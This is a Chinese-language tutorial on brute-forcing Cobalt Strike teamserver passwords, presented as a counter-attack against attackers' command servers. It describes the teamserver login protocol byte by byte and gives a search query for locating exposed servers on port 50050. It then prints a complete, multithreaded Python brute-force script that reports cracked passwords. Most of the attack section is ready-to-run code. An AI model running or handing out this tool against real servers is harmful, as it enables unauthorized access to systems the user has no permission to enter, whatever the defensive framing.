防守反制--爆破CS Teamserver 密码

0x00:简介#

Cobalt strike(下面简称 CS)#

众所周知,CS是一个以MSF为基础的GUI框架式“多人运动”渗透测试工具，集成了端口转发、服务扫描、自动化溢出，多模式端口监听，exe、powershell木马生成等.#

钓鱼攻击包括：站点克隆，目标信息获取，java执行，浏览器自动攻击等。#

Cobalt Strike 主要用于团队作战，可谓是团队渗透神器，能让多个攻击者同时连接到团体服务器上，共享攻击资源与目标信息和sessions。#

Cobalt Strike 作为一款协同APT工具，针对内网的渗透测试和作为apt的控制终端功能，使其变成众多APT组织的首选。#

0x01:成因#

1、很多团队为了方便基友能够很快连上 Teamserver，基本都是设置的弱口令，一般常见的是:123456、123123等#

2、很多也使用的默认的 Teamserver端口50050#

3、集合以上薄弱入口点，开始测试爆破连接。#

0x02:编写#

一、自己teamserver链接测试。在服务器搭建好服务端后，通过浏览器去访问测试。google浏览器测试结果如下。#

在火狐的浏览器测试结果如下#

F12看下什么情况#

二、我们去看一下Teamserver的认证方式。#

if [ -e ./cobaltstrike.store ]; then     print_info "Will use existing X509 certificate and keystore (for SSL)" else     print_info "Generating X509 certificate and keystore (for SSL)"     keytool -keystore ./cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias cobaltstrike -dname "CN=Major Cobalt Strike, OU=AdvancedPenTesting, O=cobaltstrike, L=Somewhere, S=Cyberspace, C=Earth" fi # start the team server. java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer $* 

第一种是表面上用于保护套接字的身份验证的原始数据类型。#

第二种是基于Java序列化对象的身份验证，其中包括大部分为符号的用户名。#

其中cobaltstrike.store是这样的#

在固定的261字节长度的命令中，第一个身份验证请求大致是这样定义的：#

4 Byte Magic \x00\x00\xBE\xEF 1 Byte Password Length (unsigned int) Password (unsigned int cast char array) Padding \x65 "A" * ( Length( Password ) - 256 ) 

在导线上看起来像这样，但是填充被忽略，可以是任何东西。身份验证例程最多读取256个“长度”。#

\x00\x00\xBE\xEF\x08passwordAAAAAAAAAAAAAA...AAAA 

如果提供的密码与启动团队服务器时定义的密码匹配，则团队服务器将以4字节的密码进行回复。#

<此密码不能为空>

\x00\x00\xCA\xFE 

否则，团队服务器返回null#

\x00\x00\x00\x00 

三、python3编写思路#

conn.open(host, port) payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(bytes(password, "ascii").ljust(256, b"A")) conn.send(payload) 

最后判断返回结果是否存在“\x00\x00\xca\xfe”，如果存在则密码正确#

四、找找公鸡队的Teamserver#

"Cobalt strike" && port="50050" 

五、开整

#!/usr/bin/env python3 import time,socket,ssl,argparse,concurrent.futures,sys MIN_PYTHON = (3, 3) if sys.version_info < MIN_PYTHON:     sys.exit("Python %s.%s or later is required." % MIN_PYTHON) parser = argparse.ArgumentParser() parser.add_argument("host",                     help="Teamserver address") parser.add_argument("wordlist", nargs="?",                     help="Newline-delimited word list file") args = parser.parse_args() class NotConnectedException(Exception): def __init__(self, message=None, node=None): self.message = message self.node = node class DisconnectedException(Exception): def __init__(self, message=None, node=None): self.message = message self.node = node class Connector: def __init__(self): self.sock = None self.ssl_sock = None self.ctx = ssl.SSLContext() self.ctx.verify_mode = ssl.CERT_NONE         pass def is_connected(self): return self.sock and self.ssl_sock def open(self, hostname, port): self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.settimeout(10) self.ssl_sock = self.ctx.wrap_socket(self.sock) if hostname == socket.gethostname():             ipaddress = socket.gethostbyname_ex(hostname)[2][0] self.ssl_sock.connect((ipaddress, port)) else: self.ssl_sock.connect((hostname, port)) def close(self): if self.sock: self.sock.close() self.sock = None self.ssl_sock = None def send(self, buffer): if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)") self.ssl_sock.sendall(buffer) def receive(self): if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")         received_size = 0         data_buffer = b"" while received_size < 4:             data_in = self.ssl_sock.recv()             data_buffer = data_buffer + data_in             received_size += len(data_in) return data_buffer def passwordcheck(password): if len(password) > 0:         result = None         conn = Connector()         conn.open(args.host, 50050)         payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(bytes(password, "ascii").ljust(256, b"A"))         conn.send(payload) if conn.is_connected(): result = conn.receive() if conn.is_connected(): conn.close() if result == bytearray(b"\x00\x00\xca\xfe"): return password else: return False else: print("Do not have a blank password!!!") passwords = [] if args.wordlist: passwords = open(args.wordlist).read().split("") else: for line in sys.stdin: passwords.append(line.rstrip()) if len(passwords) > 0:     attempts = 0     failures = 0     with concurrent.futures.ThreadPoolExecutor(max_workers=30) as executor:         future_to_check = {executor.submit(passwordcheck, password): password for password in passwords} for future in concurrent.futures.as_completed(future_to_check):             password = future_to_check[future] try:                 data = future.result()                 attempts = attempts + 1 if data:                     print ("Successful Attack!!!")                     print ("Secquan NB!!")                     print("Target Password: {}".format(password))             except Exception as exc:                 failures = failures + 1                 print('%r generated an exception: %s' % (password, exc)) else:     print("Password(s) required") 

执行方式 test.py x.x.x.x pass.txt#

pass.txt是你要爆破的密码文件

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